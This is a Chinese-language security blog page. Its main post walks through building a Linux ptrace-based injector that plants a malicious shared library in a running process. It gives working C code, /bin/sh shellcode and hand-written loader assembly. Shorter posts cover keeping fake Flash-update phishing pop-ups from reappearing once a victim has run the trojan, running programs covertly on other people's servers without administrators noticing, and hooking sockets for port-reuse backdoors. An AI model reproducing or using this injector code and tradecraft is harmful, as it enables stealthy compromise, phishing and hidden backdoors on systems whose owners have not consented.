Linux下进程隐藏 二 -- 进程注入(So注入)

前言

因为我写文章是边研究边写,而不是完全研究完之后写一份报告总结(个人习惯原因)。。所以文章很大篇幅都在记录我的思路的思想过程,同时也可以看到很多思路的改变,经典昨晚想到的东西写下来然后第二天早上就被自己否定了。。当然你也可以说是水就是了hhhhh。。。。

三年过去了,想着18年发了一篇 。那时候俺拥有者许多局限性以及很多的局限性和对linux操作的不熟悉性,所以对对这些操作基本只停留在表面浅显的理解,并没有深入的进行一些研究,比如内存上的啊或者是其他的。

所以这次趁着实习晚自习带班的空闲时间,研究研究一下linux的注入技术。

Linux和Windows不一样的是,Linux拥有良好的代码,良好的文档以及良好的设计接口。不像windows,闭源,二十年的混乱接口以及可有可无的文档。Linux的好处就是遇事不决看代码。

先说目标,我们的目标是类似于windows下DLL注入一般,制作一个通用注入器,把我们的SO文件方便的注入到其他进程之中。

首先我们先从简单的开始,有请我们的有且仅有一位的嘉宾(WINDOWS你看看你)

ptrace

ptrace is a system call found in Unix and several Unix-like operating systems. By using ptrace (the name is an abbreviation of "process trace") one process can control another, enabling the controller to inspect and manipulate the internal state of its target.

文档定义:http://man7.org/linux/man-pages/man2/ptrace.2.html

根据文档定义,这玩意基本就类似于一个OD一样,能很方便的让我们附加 调试 修改一个其他程序。
于是乎,我们可以很方便的暴力挖空进程写一个shellcode进去。
于是乎,第一个版本的注入操作如下

  • ATTACH进程
  • 接管进程
  • 暴力往进程内存中写入我们的shellcode
  • 修改进程的rip指向我们的Rip
  • 运行shellcode

直接参考Linux下进程注入这里的代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/reg.h>
unsigned char shellcode[] = "\xf7\xe6\x50\x48\xbf\x2f\x62\x69"
                             "\x6e\x2f\x2f\x73\x68\x57\x48\x89"
                             "\xe7\xb0\x3b\x0f\x05";
int inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{
  int      i;
  uint32_t *s = (uint32_t *) src;
  uint32_t *d = (uint32_t *) dst;

  for (i = 0; i < len; i+=4, s++, d++)
    {
      if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
        {
          perror ("ptrace(POKETEXT):");
          return -1;
        }
    }
  return 0;
}

int main (int argc, char *argv[])
{
        pid_t                   target;
        struct user_regs_struct regs;
        int                     syscall;
        target = atoi (argv[1]);
        if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
        {
                 perror ("ptrace(ATTACH):");
                 exit (1);
        }
        printf ("+ Waiting for process...\n");
        //wait (NULL);
        printf ("+ Getting Registers\n");
        if ((ptrace (PTRACE_GETREGS, target, NULL, &regs)) < 0)
        {
                perror ("ptrace(GETREGS):");
                exit (1);
        }

        printf ("+ Injecting shell code at %p\n", (void*)regs.rip);

        int SHELLCODE_SIZE = sizeof(shellcode);
        printf("+ SHELLCODE size = %d\n",SHELLCODE_SIZE);
        inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
        regs.rip += 2;
        printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);
        if ((ptrace (PTRACE_SETREGS, target, NULL, &regs)) < 0)
        {
                perror ("ptrace(GETREGS):");
                exit (1);
        }
        printf ("+ Run it!\n");

        if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
        {
                perror ("ptrace(DETACH):");
                exit (1);
        }
  
        return 0;
}

很轻松的就注入成功了。直接从源程序变成我们的接管程序(随手找了一段shellcode)
1.png

但是接下来还有一个问题。虽然我们成功的注入了我们的程序,但是源程序的功能也已经被我们破坏了

十分类似于windows下创建一个空壳Svchost.exe,然后里面跑着我们的进程,一般对于windows来说这样似乎可以,然而这是linux,我们的目的应该看看能不能在此基础上恢复原有的流程。

实际上,恢复原有的流程的进程功能理论上也十分简单。类似于windows的API HOOK,直接write地址之后,在此之前我们只需要把数据保存下来,等我们shellcode执行完毕之后再把保存的数据写回去然后让RIP回到原位再次执行似乎不就可以了?
然而这时候有一个问题,那就是我们不知道我们的shellcode如何运行结束。同时有时候我们shellcode可能并不需要结束,直接等待shellcode结束可能会永无天日。所以我们需要必要的对shellcode进行一些改造。最典型的改造就是多线程话,多线程载入运行我们需要的负载。

以及,同时,直接交由shellcode进行多线程操作可能需要对shellcode操作的要求十分的高,并且不同平台间的各种问题,我们需要尽量让shellcode足够精简。因此,最好的办法就是把多线程这个操作移动到其他负载中,也就是我们的SO文件。

我们shellcode只需要加载SO文件,然后SO文件使用多线程启动我们的恶意负载。然后再把程序交还给源程序,恢复原本数据,继续执行。

操作如下:

  • ATTACH进程
  • 接管进程
  • 备份原本RIP的数据
  • 进程内存中覆盖我们的shellcode
  • 修改进程的rip指向我们的Rip
  • 运行shellcode
  • shellcode加载SO文件
  • So文件多线程运行我们的负载
  • 还原原本数据
  • 执行原本数据

上面内容看似美好,然而还有一个问题。程序加载完So之后,恢复原本数据,如何恢复,恢复在哪里,是shellcode直接加载恢复还是由我们的注入程序恢复

不过在此之前,就涉及到我们第二个目标--shellcode编写

Linux下shellcode编写

在完成上面注入器之前,我们得先整一个加载so的shellcode。

和windows下调用API不通,windows下是通过寻找NTKERNEL的基址,然后在通过固定的偏移寻址来调用API的

而linux的API则是直接使用系统调用号就行。不需要直接暴力的在内存中寻址偏移调用。

但是我们要求加载so的dlopen是属于第三方lib库下面,并不是直接系统调用号,还是得回归windows的方式来寻址

大概思路就是

  • 本地程序dlopen函数地址-本地程序dl模块基地址=偏移地址
  • 寻找源dl模块及地址+偏移地址=远程dlopen函数地址

函数地址直接就能拿。基地址可以从/proc/pid/maps中寻找。

远程程序没有加载ld模块找不到模块基址怎么办

同时还有一个问题,按照之前的设想我们直接往当前IP的地址写入我们完整的shellcode运行,然后再还原回来就行,然而,可执行段在内存中的排列可能是不连续的,因此就会遇到一个问题,当前IP可执行的区块大小不够塞下我们全部的shellcode。。虽然我们的shellcode可能从原理上来说足够小,但是总会有意外。

于是乎接下来就有两个选择

  • 寻找内存中足够大的可执行区域,在那里写入我们的shellcode并还原
  • 寻找libc.so的基址,然后找到mmap手动申请一片区域

寻找区域的话,重点就是寻找整个空间都没有连续的,完整的大小能刚好塞下我们的shellcode,当然对于不连续空间也有解决办法,相信诸位在做ctf什么遇到很多了,各种ROP都难不倒大家这种不连续内存多写几个jmp应该就完事,但是对我这种菜鸡来说就算了还是懒得写。

当然不连续空间好解决。。更难解决的可能是内存重复使用。。。

当然大部分情况第一种方式是最快速实现的,毕竟现在分配内存似乎都是按照页分配内存。。只要我们的程序不是刚好attarch到别人malloc出来一小块可执行内存(这真的不是别人在执行shellcode吗),大部分情况都是足够我们shellcode使用的。毕竟我们shellcode总共算下来也就五六个mov/lea,四个call而已

第二个方式就是。难写。多了一块找libc.so的过程。。。但是我们也要用同样的方式找libcld。。所以总体上来说没差别?

误区

在写这个文章的时候,我发现我陷入了一个误区,典型的windows用多了的后遗症。。我都有ptrace了,我为啥还要再写个shellcode去控制进程

我tmd直接用本地程序ptrace寻址到远程mmap,dlopen,dlsym这些地址,然后直接控制ptrace运行这些玩意不就行了。。然后等so运行之后起个线程然后再用ptrace还原。。不就tmd完事了

所以依旧是上面那套方案,只不过修改了些过程

  • ATTACH进程
  • 接管进程
  • 备份原本RIP的数据
  • 寻找远程进程的mmap,dlopen,dlsym地址
  • 进程内存中覆盖我们的shellcode
  • 运行shellcode
  • shellcode加载SO文件
  • ptrace调用mmap申请内存
  • ptrace调用dlopen,dlsym加载so
  • So文件多线程运行我们的负载
  • 还原原本数据
  • 执行原本数据

第二天!!!!!!误区个锤子

上面是我昨晚睡前神志不清写的。。我在想peach。。就算有ptrace还是要写shellcode的,比如设置字符串,call函数等等。。。只不过变成分段了而已。所以无视上面这一小章节即可

所以还得继续写shellcode。我们可以从 原创-发个Android平台上的注入代码 这里看到一个完整的android的so的完整注入代码。。只不过人家是android的,我们可以拿过来研究研究(修改抄袭抄袭)

同时经过一些搜索,可以从LINUX进程动态SO注入 看到另外一种dlopen的寻址方式。。之前是通过内存寻找偏移的方式寻址,从这个文章里了解到可以通过

有一种方法是, 通过查看 cat /proc/1234/maps 的加载地址, 加上函数符号在文件中的偏移来得到, 这里并不打算采用这种方法, 而是通过解析 ELF 文件结构得到 __libc_dlopen_mode 函数符号的地址. (这里需要比较多的 ELF 的文件结构的知识, 可以参考前面的\)

看似挺优雅。。。然而我对ELF文件结构不太熟。。。这里只列出一个实现方法。。下次有机会再研究研究。。

然后又寻找到了一个方法,在WINDOWS下我们能通过FS寄存器来寻找ntkernel的模块基址然后寻址到loadlibrary这些的,在linux下我们能通过DT_DEBUG来获得各个库的基地址,详情可以看以下这几个文章

所以,基本构造研究好了,就开始写shellcode了。。有分为两个方式

  • 使用masm编译后提取字节码
  • 使用.s编写shellcode然后用gcc连接到程序然后程序获取地址直接提取

那还用问肯定用第二个方法啊。不过VS下能用编译器魔法直接写C代码作为提取。。。不知道有无方法在GCC下也用编译器魔法直接提取shellcode。。。要是能用用的话那就方便了嗷

开整

首先,先把ptrace的那些整过来,看雪老哥的那个Android的So注入的代码很好,我的了!(((,直接把代码拿过来进行一个封装

注意:以下代码大部分都是基于Android动态库注入技术的代码进行修改以及部分调整,并非完全博主原创!!!特此再次声明版权,不过我会在里面加入一些自己的见解就是了。

首先,因为原项目用的是arm+32位,所以得把pt_regs换成linux的user_regs_struct和uint32_换成uint64_t

int ptrace_getregs( pid_t pid, struct user_regs_struct* regs );
int ptrace_setregs( pid_t pid, struct user_regs_struct* regs );
int ptrace_readdata( pid_t pid,  uint8_t *src, uint8_t *buf, size_t size );
int ptrace_writedata( pid_t pid, uint8_t *dest, uint8_t *data, size_t size );
int ptrace_writestring( pid_t pid, uint8_t *dest, char *str  );
int ptrace_call( pid_t pid, uint64_t addr, long *params, uint32_t num_params, struct user_regs_struct* regs );

int ptrace_continue( pid_t pid );
int ptrace_attach( pid_t pid );
int ptrace_detach( pid_t pid );

然后再对它的代码进行一些小修改,比如一些PC寄存器改成IP寄存器等,其中最重要的是ptrace_call函数。

原函数是

int ptrace_call( pid_t pid, uint32_t addr, long *params, uint32_t num_params, struct pt_regs* regs )
{
    uint32_t i;

    for ( i = 0; i < num_params && i < 4; i ++ )
    {
        regs->uregs[i] = params[i];
    }

    //
    // push remained params onto stack
    //
    if ( i < num_params )
    {
        regs->ARM_sp -= (num_params - i) * sizeof(long) ;
        ptrace_writedata( pid, (void *)regs->ARM_sp, (uint8_t *)&params[i], (num_params - i) * sizeof(long) );
    }

    regs->ARM_pc = addr;
    if ( regs->ARM_pc & 1 )
    {
        /* thumb */
        regs->ARM_pc &= (~1u);
        regs->ARM_cpsr |= CPSR_T_MASK;
    }
    else
    {
        /* arm */
        regs->ARM_cpsr &= ~CPSR_T_MASK;
    }


    regs->ARM_lr = 0;    

    if ( ptrace_setregs( pid, regs ) == -1 
        || ptrace_continue( pid ) == -1 )
    {
        return -1;
    }


    waitpid( pid, NULL, WUNTRACED );

    return 0;
}

其中最大的不同是函数传参方式,arm使用的是fastcall传参,参数保存在寄存器里,所以才有regs->uregs[i] = params[i];

搞不懂你们arm传参,pt_regs里面的r0-r28不好用吗为啥要用regs改。。不管了。。我们先只管linux下,linux的user_regs没有regs,理论上直接改这玩意就能成。。

醒了,x64也是存寄存器的,只有x86是用栈传参。然后linux和windows在x64下使用寄存器传参的个数也不同

windows下是使用4个寄存器传参,详情:x64 调用约定

默认情况下,x64 调用约定将前 4 个参数传递给寄存器中的函数。 用于这些参数的寄存器取决于参数的位置和类型。 剩余的参数按从右到左的顺序推送到堆栈上。最左边 4 个位置的整数值参数从左到右分别在 RCX、RDX、R8 和 R9 中传递。 如前所述,第 5 个和更高位置的参数在堆栈上传递。 寄存器中的所有整型参数都是向右对齐的,因此被调用方可忽略寄存器的高位,只访问所需的寄存器部分。

然后linux下是使用6个寄存器传参

函数的参数在寄存器rdi,rsi,rdx,rcx,r8,r9中传递,并且其他值以相反的顺序在堆栈中传递。译注前6个从左到右依次放入rdi,rsi,rdx,rcx,r8,r9,超出6个的参数从右向左放入栈中。可以通过修改被调用函数的参数来修改在堆栈上传递的参数。

于是乎,修改后的代码如下

int ptrace_call( pid_t pid, uint64_t addr, long *params, uint32_t num_params, struct user_regs_struct* regs )
{
    
    uint32_t i;

    long *regs_param[7]={
        (long*)&(regs->rdi),
        (long*)&(regs->rsi),
        (long*)&(regs->rdx),
        (long*)&(regs->rcx),
        (long*)&(regs->r8),
        (long*)&(regs->r9)
    };

    // 前6个参数压寄存器
    for ( i = 0; i < num_params && i < 6; i ++ )
    {
        // params_reg[i] = params[i];
        memcpy(regs_param[i],&params[i],sizeof(long));
    }

    
    // 超过6个压栈
    if ( i < num_params )
    {
        regs->rsp -= (num_params - i) * sizeof(long) ;
        ptrace_writedata( pid, (void *)regs->rsp, (uint8_t *)&params[i], (num_params - i) * sizeof(long) );
    }
    regs->rsp -= sizeof(long) ;
    ptrace_writedata( pid, (void *)regs->rsp, (uint8_t *)&regs->rip, sizeof(long) );
    regs->rip = addr;
    if ( ptrace_setregs( pid, regs ) == -1 
        || ptrace_continue( pid ) == -1 )
    {
        return -1;
    }


    waitpid( pid, NULL, WUNTRACED );
    
    return 0;
}

然而即使这样这部分也有局限性,这段代码传参只能使用立即数参数,也就是所说的int类型的参数,无法传递字符串这类

因为根据调用约定,想使用字符串的话还得将字符串内容使用ptrace_writedata写入目标进程的rbp或者rsp然后再把写入的地址当作参数传入。。所以说还是用shellcode更方便一些。

同时,我们一般使用这个函数都是需要返回值的,但是如果按照上面这个部分,调用完我们的函数后目标程序会直接继续运行,继续运行下去不知道会运行多少函数,直接覆盖了我们的返回值。

解决办法很简单,我们手动加个中断让它停止不就行了,直接把ret返回时需要而压入的栈的rip改成0x80即可

char code[] = {0xcd,0x80,0xcc,0};
ptrace_writedata( pid, (void *)regs->rsp, (uint8_t *)&code, 3 );

这样我们调用完函数之后,只需要获取rax的值就知道返回值拉。但是记住这样我们调用了中断后如果不手动纠正rip的话程序必定会崩溃的,所以调用之前一定要保存好rip的值

mmap部分如上图理论上是没问题了。。。测试一下调用成功,也确实获取到了mmap的返回值
无标题2.png
接下来就是shellcode部分。。。直接照着看雪老哥的代码进行一个shellcode的写。先手写一个调用的sample然后直接gdb查看汇编

无标题.png

最后进行一个shellcode的仿写。我们就简单点,直接弄一个不带任何参数的注入函数

.intel_syntax noprefix
.global _dlopen_addr_s
.global _dlopen_param1_s
.global _dlopen_param2_s
.global _dlsym_addr_s
.global _dlsym_param2_s
.global _dlclose_addr_s
.global _inject_start_s
.global _inject_end_s
.global _origin_rip_s
.data
_inject_start_s:
    # dlopen
    lea    %rsi,_dlopen_param2_s
    lea    %rdi,_dlopen_param1_s
    call   _dlopen_addr_s
    push %rax
    # dlsym
    lea    %rsi,_dlsym_param2_s
    mov    %rdi,%rax
    call   _dlsym_addr_s
    # call
    mov %rdx,%rax
    mov %eax,0
    call %rdx
    # dlclose
    pop %rax
    mov %rdi,%rax
    call _dlclose_addr_s
_dlopen_addr_s:
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
_dlopen_param1_s:
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
_dlopen_param2_s:
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
_dlsym_addr_s:
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
_dlsym_param2_s:
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
_dlclose_addr_s:
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
_inject_function_param_s:
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
.byte 0xFF
_inject_end_s:
.space 0x400, 0
.end

源作者使用的是.word,因为原作者是32位arm下,不太清楚arm,32位的arm刚好是.word的长度等于0xAAAAAAAA,而我们是64位,本来想直接.long,然而64位汇编编译器下.long长度和sizeof(long)是不一样的就很离谱,一气之下就用了.byte,这样最小单位总不会错了

这些都整好之后,就和源代码没什么区别了。直接copy过来用就完事了。啊,这dlclose我就不调用了,应该没啥太大事吧,因为我懒得去管栈的内容来单参数了,(因为之前dlopen的参数保存再rax,必定会被后面函数给覆盖所以必须的操作栈来保存这个参数,但是如果不调用的话,dlsym因为是第二个调用的可以在rax被覆盖之前直接写入rdi作为参数所以不需要操作栈)

然后就是填充地址了,对于计算好的远程dlopen,dlsym地址这些当然是可以直接填充的,直接memcpy到指定位置就行,但是对于dlsym的第一个参数就不行了

dlsym第一个参数是我们恶意so函数的函数名,还是那句话,我们传参的字符串是在我们进程的进程空间里,所以对于远程进程来说,这个地址它访问不到,所以我们得把这串字符串写到远程进程的空间中,并且得到这个字符串的地址。

依旧是两个方案

  • 交给shellcode,由shellcode压栈
  • ptrace写到rbp,然后shellcode手动弹出读取

又或者。。。我们直接写到刚刚mmap生成的辣么一大份的内存里,然后地址指向那不就行了?于是乎

    remote_code_ptr = regs.rax; //获取mmap取得的地址
    ptrace_writedata(target_pid,remote_code_ptr,evilFunction,strlen(evilSoPath)+1);
    _dlopen_param1_s = remote_code_ptr;//写入了数据之后,这里就不再是代码段开头了,而是储存字符串参数的地方
    // 因为ptrace写入只能4个4个写入如果刚好超过余1就得+4,至于+5是补齐字符串后面的那个\0,上面的+1同理
    remote_code_ptr += strlen(evilSoPath)+5; 
    ptrace_writedata(target_pid,remote_code_ptr,evilFunction,strlen(evilFunction)+1);
    _dlsym_param2_s = remote_code_ptr;//写入了数据之后,这里就不再是代码段开头了,而是储存字符串参数的地方
    remote_code_ptr += strlen(evilFunction)+5; 
    _dlopen_addr_s = dlopen_addr;
    local_code_ptr = (uint8_t *)&_inject_start_s;
    code_length = (long)&_inject_end_s - (long)&_inject_start_s;
    ptrace_writedata(target_pid,remote_code_ptr,local_code_ptr,code_length ); //写入本地shellcode

这样子,寻址和填充就完成了。此时我们只要运行就行了。。。。。。不

还有最后一件事,就是让程序保持继续运行,本来想想我们之前保存了rip,直接jmp过去。想了下好像不行,得把所有寄存器归位才行。

又到了抉择:

  • 使用shellcode,硬编码到shellcode后自动归位所有寄存器然后jmp到原始地址
  • shellcode加入0xcc中断,本地程序等待so函数执行完毕后使用ptrace的setregs直接还原寄存器

本来是想用第一种方法的,毕竟能自动化就自动化,第二种方法有一个很大的问题就是你不知道程序何时运行到中断,你得等,但是经过了一通查阅,发现
photo_2021-12-05_18-49-55.jpg
啊这,不支持自动pop,那整个锤子,想还原得把所有寄存器手写回去。想想人就yue了。。还是看看第二个方法

经过一番寻找,发现waitpid很适合我们的操作,只需要我们再shellcode调用尾部加一个int 0x80中断,然后主程序进行waitpid就能捕获到这个中断就知道我们的恶意so程序执行完毕啦。

最后阶段

上面全部写好了之后,程序也跑起来了,总体来说是没有什么问题的,然而我发现,lea的地址偏移到了一个很奇怪的地方。

photo_2021-12-06_15-18-10.jpg

(注意mov相关的,原本期望是写入一个地址,然而实际上却是QWORD PTR DS:40512A),我十分的疑惑。

重点是我不知道这个40512A是哪里来的,第一个反应是这个QWORD,让地址只复制了一半,直接查看机器码发现并没有,依旧不知道这个地址是哪里来的
无标题3.png
(其中0x48和0x8b是mov,eax对应的指令,后面对应的地址)

然后过了一会儿,我才突然想到,这玩意NMD不是64bit的地址,而是GCC填充的地址偏移

无标题3.png

我之前shellcode单纯把这玩意当变量用了,所以才出现如此大问题。于是乎我们得修改下shellcode或者C代码。

本来是打算参考原项目手动计算好偏移,然后C计算完偏移后写入进去,但是似乎arm有些不同。在x64下会遇到一个很蛋疼的问题就比如CALL代码,

CALL _your_plt_
_your_plt_:
0xi_want_call_address

会遇到这种,call偏移中的地址实际上才是你想要jmp的地址的问题,_your_plt_在c代码中是extren的,我们可以直接对其进行操作,然而操作对象实际是0xi_want_call_address这里,目前并没有什么办法通过extren直接让_your_plt变成指向0xi_want_call_address的偏移地址。

最后依旧是有两个解决方案

  • 把_your_plt真的变成函数
  • 暴力修改CALL _your_plt_中_your_plt_的值

第一种方案就是,既然你只能call到_your_plt这个地址,那么我们修改汇编代码,直接在_your_plt继续call我们真实想要的地址不就行了?理所当然的这么想也理所当然的误入歧途,这很明显是不对的,就本来你原本有能力直接做到你非要拐一下,就很蠢。

既然代码直接在我们内存中,那我们就直接用二进制的思路来,gcc修改不了extren的值,我们自己改,直接把extren设置到目标指令,获得该地址的偏移,然后地址+2bytes忽略xor的两个机器码,剩下8bytes就是我们要改的地方了

_dlopen_param1_s:
    mov %rdi,0xFFFFFFFF
_printf_addr_s:
    call 0xFFFFFFFF

于是乎,我们的完整shellcode就成了这样

.intel_syntax noprefix
.global _dlopen_addr_s
.global _dlopen_param1_s
.global _dlopen_param2_s
.global _dlsym_addr_s
.global _dlsym_param2_s
.global _dlclose_addr_s
.global _inject_start_s
.global _inject_end_s
.data
_inject_start_s:

loop:
    jmp loop
    mov    %rsi,0x2
_dlopen_param1_s:
    mov    %rdi,0x1122334455667788
_dlopen_addr_s:
    movabs %rax,0x1122334455667788
    call   %rax
    push %rax
_dlsym_param2_s:
    mov    %rsi,0x1122334455667788
    mov    %rdi,%rax
_dlsym_addr_s:
    mov %rbx,0x1122334455667788
    call   %rbx
    call %rax
    pop %rax
    mov %rdi,%rax
_dlclose_addr_s:
    mov %rbx,0x1122334455667788
    call %rbx
    int 0x80
    int 0xcc

_inject_end_s:
.space 0x400, 0
.end

而我们的寻址方式,就理所当然的变成了

    // 填充0x1122334455667788
    memcpy((void*)((long)&_dlopen_addr_s+2),&dlopen_addr,sizeof(long));
    memcpy((void*)((long)&_dlsym_addr_s+2),&dlsym_addr,sizeof(long));
    memcpy((void*)((long)&_dlclose_addr_s+2),&dlclose_addr,sizeof(long));

shellcode最后的mov %rbx,0x1234是为了让程序还原原本的寄存器而设置的flag位,代码如下

    printf("+ Waiting....\n");
    waitpid( target_pid, NULL, WUNTRACED  );

    while(1){ //进行等待用于判断程序是否执行完我们的shellcode
        if ( ptrace_getregs( target_pid, &regs ) == -1 ){
            printf("- Getregs Error\n" );
            return -1;
        }
        sleep(1);
        printf("- Now rbx is :%p\n",regs.rbx);
        if(regs.rbx=1234){
            break;//判断执行完shellcode了,开始还原寄存器
        }
    }
    printf("+ EvilSo Injected.\n+ Recorver the regsing...\n");
    ptrace_setregs( target_pid, &original_regs );
    ptrace_continue( target_pid );

就这样,我们的注入就告一段落了,完美的注入进去
无标题.png

接下来就是处理下一个阶段的问题

武器化

首先要解决的一个问题就是,并不是所有的程序都有带dlfcn.h和带ldl编译。不带这两个参数注入的话,虽然从maps里还能看到ld.so,但是寻址出来的地址却不知道飞到那里去了,所以得解决这个问题,根据网络上的资料以及自己跟一遍汇编很容易得出dlopen只是一个马甲,真实调用的还是libc下的__libc_dlopen_mode,然而普通情况下我们是没办法直接在C里面使用(long)__libc_dlopen_mode这样找到地址的,必须得用其他方法找。

本地进程可以直接调用dlopen后,直接通过读取dlopen的内存地址中的跳转找到plt->got->__libc_dlopen_mode的真实地址。

自闭懒得研究了咕咕咕,直接看LINUX进程动态SO注入就是用这种寻址方式,把dlopen这几个函数的寻址方式替换成它这个就行了,懒得写了。

-- 已完待续

Tags: linux, 注入, 进程

Flash 钓鱼一些小TIPS(避免钓鱼窗口重复弹出)

在站岗无聊思考人生的时候突然想到,如果进行flash钓鱼的时候不做判断,直接插入页面,用户每次打开都弹出更新flash的窗口,那么用户也许灰产生警觉。所以最好的办法是弄一个用户下载完运行后,网页用户判断用户是否已经运行了我们的木马,如果运行了则不再弹出。

和群里小伙伴讨论了一会儿之后,最后还是觉得已下四个方法最适用。

  • Cookies 不用说了最简单的办法之一
  • Storage 不用说了最简单的办法之二

上面这两个办法如果用户更换浏览器或者清除缓存之后可能就会再次弹出。。不过我们一般钓鱼的时效可能也没有必要挂那么久理论上无伤大雅。如果有一些强迫症需求可以看看已下

  • 修改Hosts

这个方案可能会导致一些杀软的拦截,甚至你免杀都没用。毕竟免杀好做,但是这个行为是触发到规则的。比如某数字。。基本都会给你弹个框

  • 本地起一个Web,然后浏览器用JS请求

一开始还在思考如何绕过CORS啊,以及HTTPS这些的问题。后来想了一下,CORS本地服务器设置允许就行。。至于HTTPS,没必要真的搭建一个HTTPS,然后你直接用JS使用HTTPS去请求你本地部署的HTTP站点,只要返回的不是TIMEOUT,就能确认服务存在,既然确认了服务存在了,那么马自然而然也就运行过了。所以HTTPS和CORS这些问题也就解决了。

虽然实现上可能略微复杂了一点,但是这个可能是最泛用的选项了吧

Tags: flash, 钓鱼

Windows 下程序偷跑

前言

当你在别人的服务器上偷偷跑东西时,总是会提心吊胆,如果管理员上线了怎么办?跑的一半半突然管理员登陆上来看到一个黑框框岂不是全部木大?特此我们得来研究研究一些如何偷跑程序的方法

方法1 --- Windows 消息系统

windows下任何东西都离不开windows消息机制,就连RDP登录登出注销也一样。所以我们创建个窗口直接接受windows消息就行

直接参考代码:管理员登陆报警器

缺点:就是需要创建窗体

方法2 --- 计划任务:空闲时运行

photo_2021-08-30_22-50-39.jpg
缺点:不要(x) --- 停不下来了(√)

方法3 --- CMD query user

直接query user也不是不可,但是很多系统语言不同导致你的判断依据失败

典型的比如中文是 运行中 而 英文是 Active

最好的办法是运行chcp 65001 && query user,然后匹配Active就行了。

当然一定要注意忽略chcp的Active code page: 65001

缺点:如果你的程序运行在SYSTEM下你的chcp会失效。

方法4 --- WINDOWS API

方法和上面差不多,但是我TMD当场进行一个API查询
直接查阅msdn:WTSEnumerateListenersA

最后随便找了段代码

PWTS_SESSION_INFO psi;
    _WTS_CONNECTSTATE_CLASS a;
    DWORD dwCount;

    BOOL bRet = WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, &psi, &dwCount);

    if (!bRet)
        return 0;
    wstring strName;
    for (unsigned int i = 0; i < dwCount; i++)
    {
        printf("%s \t", psi[i].pWinStationName);
        printf("%d \t", psi[i].SessionId);
        printf("%d \n", psi[i].State);
    }
    WTSFreeMemory(psi);
    

然后对应结果直接去查询这个

typedef enum _WTS_CONNECTSTATE_CLASS {
    WTSActive,              // User logged on to WinStation
    WTSConnected,           // WinStation connected to client
    WTSConnectQuery,        // In the process of connecting to client
    WTSShadow,              // Shadowing another WinStation
    WTSDisconnected,        // WinStation logged on without client
    WTSIdle,                // Waiting for client to connect
    WTSListen,              // WinStation is listening for connection
    WTSReset,               // WinStation is being reset
    WTSDown,                // WinStation is down due to error
    WTSInit,                // WinStation in initialization
} WTS_CONNECTSTATE_CLASS;

最后判断下是否有WTSActive的就说明有无人在线了。

Tags: none

端口复用之简单HOOK

荒废了好久了,得研究研究新东西了。正好就来研究研究端口复用。这篇文章包含一些搜集的资料以及最后打算自己造一些轮子。当然也许会咕咕咕

目标用途:遇到目标程序,例如IIS等程序,令IIS监听的80端口同时能访问http和使用特殊代理程序访问的工具能让80端口变成访问我们后门程序

1-windows

先从浅显易懂的来说起。

参考这个文章:一文打尽 Linux/Windows端口复用实战

可以看出,最简易的端口复用是使用winrm,开启EnableCompatibilityHttpListener,并且把winrm的端口从默认的5935修改为80。利用Net.tcp Port Sharing来达到winrm和http复用的效果。

虽然上述方案很简单,但是并不是我想要的效果。上诉方案只能使用IIS+winrm,基本只能作为后门使用。

按照我的预想,是整一套网截,截获某个程序的socket行为,然后遇到特殊的head的时候在决定是转发给我们的后门程序还是转发给源程序。

那么按照设想的先来。先寻找网截相关资料,可以查看这里:截获 Windows socket API

一般来说,实现截获socket的方法有很多很多,最基本的,可以写驱动,驱动也有很多种,TDI驱动, NDIS驱动,Mini
port驱动…。由于我使用的是Win2000系统,所以截获socket也可以用Windows SPI来进行。另外一种就是Windows
API Hook技术。

驱动

先从驱动说起,从windows 10还是windows7以上,windows安装驱动基本都是需要签名的了。虽然说我们要使用端口复用的时候基本都是高权限。但是光从这点来看就很容易让人pass了。并且由于我不怎么会对设备操作,以及手头没有能用的签名。

这时候可以看看这个:[[原创]网络过滤的简单wfp和tdi驱动sdk ][3],看雪老哥写的,一个项目涵盖了基本驱动层的所有网截。我也就不重复造轮子了。主要还是签名的局限性太大了,基本只能靠淘宝买。

hook

那么R0层基本不考虑了,我们来想想R3层怎么办,最简单的办法就是hook。我们换个思路,直接在目标程序收到消息之前,被我们hook到我们的程序/DLL中,然后判断标头再决定是转发给源程序还是转发给我们后门。

这时候就会出现两个方法,是直接注入DLL相关应用,然后DLL劫持recv函数,在DLL内处理收到的消息,然后转发给目标用户。

亦或者直接hook bind函数,修改原有的监听端口,然后再启动个我们第三方应用去做分流。

权衡利弊,我决定选择第二个方式,主要是第二个方式实现简单。

ShadowMove技术

在查阅相关资料和群友讨论的时候,了解到了ShadowMove技术。可以查看这个:ShadowMove复现与思考

通过创建两个基于原套接字复制的套接字,定期挂起原套接字接收和响应特殊的数据包。

image.png

原理是复制了远程目标的句柄,达到两个程序同时收到数据而不是作为分流,虽然也不是不行,但是可能在实际运用中出现一些奇怪的问题,比如源端口和后门都是HTTP协议等,所以这个方案也pass

Socket Hook

既然我们选择了第二种方案,指的是修改端口然后分流。那么接下来我们就要考虑hook谁和如何hook了。

在windows下,各种hook实现的底层基本都是由bind(winsock)这个实现走的,至于其他非正常的实现我们也就懒得处理了。

